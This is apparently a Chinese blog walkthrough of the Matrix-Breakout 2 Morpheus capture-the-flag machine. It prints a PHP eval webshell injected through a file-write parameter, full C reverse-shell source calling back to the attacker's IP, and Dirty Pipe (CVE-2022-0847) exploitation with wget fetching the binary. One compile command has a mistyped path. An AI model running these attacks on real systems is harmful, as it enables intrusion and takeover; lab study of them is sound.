JOJO朦

H4ckBu7eer

Matrix-Breakout: 2 Morpheus(超详细版)

#黑客帝国:逃出绝命镇2:墨菲斯

一、信息收集

1.目标信息

arp-scan -l

图片1.png

nmap -sV -p- 192.168.21.151

rustscan -a 192.168.21.151

图片2.png
whatweb 192.168.21.151 -v

没有发现CMS信息

图片3.png

二、从web寻找入手点

1.网页信息

(1)80端口网页信息

图片4.png

图片5.png

(2)81端口页面信息

第一个是一开始访问的包,第二个是输入user和pass后的包,两个包的长度没有区别,网页代码也全部都是静态代码,直接坐实这是一个诱导页面

图片6.png
图片7.png

没有找到一点线索

2.域名扫描

dirsearch -u http://192.168.21.151 -i 200

发现rbots.txt

图片8.png

啥也没有

图片9.png

3.域名爆破

ffuf -u http://192.168.21.151/FUZZ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -c -ic -e .txt,.php

这里发现点不一样的graffiti.php,graffiti.txt

图片10.png
图片11.png

4.BurpSuite抓包

图片12.png

这两个是随便输入提交的,可以发现这里是输入到了graffiti.php中,再次访问一下这个页面

图片13.png

两次输入都在这里,这里先上传一句话试一下

图片14.png
<?php @eval($_POST[kali]);?>

这里的php被过滤掉了,但是服务器做了高亮处理说明服务器是解析过的,但是试了很多编码绕过但是都不行,但是发现这里有一个xss注入漏洞,但是对于这次渗透并没有任何卵用

图片15.png

这里和上次没有一句话是有区别的,中间多了一行吧,没显示出来

图片16.png

继续回到burp看包,我刚才输入了gogogogogogo然后在这里显示出来了,后面跟了个graffiti.txt说明是写到了那,我们修改一下

图片17.png

我们将一句话直接写入到graffiti.php中了,然后我们拿蚁剑连接一下成功了

三、寻找提权点

1.图片隐写

ps:这个没有任何卵用哈,纯粹浪费时间的

在根目录下找到一个flag1,这里有一个隐藏的图片,去拿下来

图片19.png
提示翻译

第一面旗子到手!

你已经成功进入了这个系统。现在的问题是:为什么Cypher要把其他所有人都锁在系统外面?

你的下一个任务是:

  1. 找到Cypher的密码 - 看起来他把密码给了Agent Smith,这样Smith就能知道在哪里跟他见面

  2. 从80端口的网站上下载一张图片 - 这张图片里藏着另一面旗子

    • 图片地址:http://192.168.21.151/.cypher-neo.png

(1)二进制、图像表面检测

从表面看不到什么

图片20.png

先从图片内部内容入手吧

strings hack.png | grep flag
strings hack.png | grep FLAG

没有任何的输出

图片21.png
xxd hack.png | head -10
xxd hack.png | tail -10

文件头和文件结尾没有问题

图片22.png

然后去网上查找图片隐写的一些文章时,突然想起那我是可以查找一下有关压缩文件的一些关键部分的

xxd hack.png | grep 7z
xxd hack.png | grep PK
xxd hack.png | grep Rar
图片23.png

现在越看越头大了,有7z和PK的关键字,不过没有连着的377abcaf271c504B0304,所以这个还是算正常的,这些关键字算巧合,然后再去了解了一下,发现:数据嵌入(可能看不到签名)、LSB隐写(肯定看不到签名)

先来一个一个试

(2)检测LSB隐写

zsteg hack.png
zsteg -a hack.png   #全面检测

zsteg检测结果显示没有发现LSB隐写数据

如何区分是否有LSB隐写数据
图片24.png

(3)检测嵌入隐写

binwalk hack.png
-e #自动提取

binwalk检测结果也认为没有嵌入隐写

如何区分正常zlib和隐藏zlib
图片25.png

到这里测试完毕,所以这是一个正常的PNG文件,歪日了!!!不过也算小有收获啊,拓展了一下知识面

2.收集系统信息

(1)反弹shell

我是用的c语言反弹shell

#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>

int main() {
    int sockfd;
    struct sockaddr_in server_addr;

    // 创建socket
    sockfd = socket(AF_INET, SOCK_STREAM, 0);
    if (sockfd < 0) {
        perror("socket创建失败");
        return 1;
    }

    // 设置目标地址和端口(您的Kali信息)
    server_addr.sin_family = AF_INET;
    server_addr.sin_port = htons(7777);  // 您的监听端口
    inet_pton(AF_INET, "192.168.21.160", &server_addr.sin_addr);  // 您的Kali IP

    // 连接到Kali
    if (connect(sockfd, (struct sockaddr*)&server_addr, sizeof(server_addr)) < 0) {
        perror("连接失败");
        close(sockfd);
        return 1;
    }

    // 重定向标准输入输出错误到socket
    dup2(sockfd, 0);  // stdin
    dup2(sockfd, 1);  // stdout  
    dup2(sockfd, 2);  // stderr

    // 执行shell
    char *args[] = {"/bin/sh", NULL};
    execve("/bin/sh", args, NULL);

    // 如果execve失败
    perror("execve失败");
    close(sockfd);
    return 1;
}
图片26.png
python -c "import pty;pty.spawn('/bin/bash')"

(2)查找SUID权限

查找具有SUID权限的二进制文件,没有可利用文件

find / -perm -u=s -type f 2>/dev/null
图片27.png
uname -a                    # 全部系统信息
uname -r                    # 内核版本
uname -m                    # 系统架构
cat /proc/version           # 更详细的内核和编译器信息
cat /etc/os-release         # 系统发行版信息
lsb_release -a              # LSB系统信息
cat /etc/issue              # 系统登录信息
hostnamectl                 # 主机名和系统信息
用户信息
whoami                      # 当前用户
id                          # 用户ID和组信息
who                         # 登录用户
w                           # 登录用户及活动
last                        # 登录历史

权限信息
sudo -l                     # 查看sudo权限
cat /etc/passwd             # 所有用户
cat /etc/group              # 所有用户组
cat /etc/sudoers            # sudo配置
# 查找SUID文件
find / -perm -4000 2>/dev/null

# 查找可写文件
find / -writable 2>/dev/null | head -20

# 检查历史命令
history
cat ~/.bash_history

# 环境变量
env

# 检查PATH中的可写目录
echo $PATH | tr ':' '\n' | while read dir; do ls -ld "$dir" 2>/dev/null; done

# 检查可写的bash配置文件
ls -la ~/.bashrc ~/.profile /etc/bash.bashrc /etc/profile 2>/dev/null

# 检查系统服务脚本
find /etc/init.d -type f -writable 2>/dev/null
find /etc/systemd/system -type f -writable 2>/dev/null

# 检查cron作业目录
ls -la /etc/cron*
ls -la /var/spool/cron
cat /etc/passwd
图片28.png

3.搜索漏洞

直接查看系统的信息吧

uname -arm

系统内核是5.10.0-9-amd64

searchsploit Linux 5.10.0-9

刚好我们的目标Linux版本在这个里面,然后我们可以利用它

图片29.png

searchsploit -p 50808

图片30.png

任意只读文件覆写漏洞(CVE-2022-0847)

参考文章:

获取权限

gcc -o exp /usr/share/exploitdb/exploits/linux/local/50808.c
#编译
python3 -m http.server 80         #开启http服务
  #但是出现一个问题就是kali的gcc版本高些,在目标机器无法运行,然后
  #我将源码放到目标机器上又缺失一些东西不能够完成编译,所以这里要在
  #攻击机上使用静态编译。
gcc -static -o exp /usr/share/exploitdb/expoits/linux/local/5080.c
wget 192.168.21.160/exp                 #下载exp
chmod +x exp                            #给执行权限
find / -perm -u=s -type f 2>/dev/null   #查找SUID二进制文件
./exp /usr/bin/gpasswd

拿到root权限

image.png

image1.png

  • 评论列表:

发表评论: